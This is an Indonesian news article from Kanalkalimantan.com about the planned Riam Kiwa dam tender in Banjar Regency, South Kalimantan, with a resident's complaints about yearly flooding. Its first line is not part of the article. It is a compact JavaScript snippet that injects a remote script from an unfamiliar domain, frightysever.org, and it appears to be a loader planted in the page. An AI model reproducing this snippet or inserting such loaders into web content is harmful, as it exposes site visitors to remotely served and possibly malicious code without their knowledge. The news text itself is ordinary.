(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Proyek Bendungan Riam Kiwa akan ditender pada akhir Maret 2023, upaya mengatasi banjir di Kabupaten Banjar, Provinsi Kalimantan Selatan.
Dikabarkan Selasa 28 Maret 2023, tim turun ke lapangan untuk memproses tata batas bendungan yang berada di Desa Angkipih dan Desa Paramasan Bawah, Kecamatan Paramasan, Kabupaten Banjar.
Kepala Biro Administrasi Pembangunan Setda Provinsi Kalsel Gusti Rahmat mengungkapkan bahwa Pemprov Kalsel memfasilitasi konsultasi publik yang akan dilaksanakan oleh Pemerintah Kabupaten Banjar.
Pemerintah Kabupaten Banjar nantinya akan turun untuk mendengarkan problem-problem yang terjadi di setiap desa maupun kecamatan.
Baca juga: Promo Ramadhan Berkah, PLN Beri Diskon Tambah Daya Rumah Ibadah Hanya Rp 150 Ribu
Diketahui dengan dana sekitar Rp 1,7 triliun untuk pembangunan fisik, Bendungan Riam Kiwa ini akan dicanangkan selesai sekitar lima tahun lagi.
Saat ini, proses lelang pun sedang berlangsung di Jakarta, dengan target pada akhir tahun 2023 bendungan sudah siap dibangun.
Kabar proyek bendungan besar kedua di Kabupaten Banjar setelah Bendungan Riam Kanan itu mendapat respon positif warga Martapura. Sejumlah warga mengaku mendukung penataan permasalahan banjir yang melanda Kabupaten Banjar hampir setiap tahunnya itu.
“Dulu kalau banjir besar yang lama hanya sekitar 5 tahun sekali saja, tapi saat ini selalu banjir besar yang lama saban tahun, ketinggian selalu bertambah,” ucap Maghfirah (46), warga Desa Teluk Selong, Kecamatan Martapura Barat kepada Kanalkalimantan.com, Selasa (28/3/2023).
Meski penataan bendungan itu telah dicanangkan, namun menurutnya, semestinya pemerintah juga menindak lanjut keluhan warga. Salah satunya soal keterbatasan aktivitas yang warga alami selama dilanda banjir.
“Menunggu bendungan itu selesai, kan pasti lama pembangunannya, pemerintah mungkin bisa coba meninggikan jalan di desa kami agar aktivitas kami normal,” sebutnya.
Baca juga: Pencuri Batu Bara di Tongkang Tewas Tertembak
Maghfirah mengungkapkan, saat ini warga kesulitan untuk sekadar pulang pergi bekerja maupun berusaha.
Di mana warga rata-rata menggunakan ruas Jalan Martapura Lama yang terendam banjir sebagai jalur utama untuk mencari nafkah setiap harinya.
“Untuk saat ini yang sangat perlu itu fasilitas untuk warga beraktivitas saja, karena mereka bekerja jauh-jauh harus melewati banjir dulu, mereka yang menjalankan usaha di pinggir jalan juga kebanjiran,” ungkapnya.
Warga pun berharap Pemerintah Kabupaten Banjar dapat segera mengambil tindakan alternatif selama bendungan itu dibangun. Satu di antaranya dengan meninggikan badan jalan. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.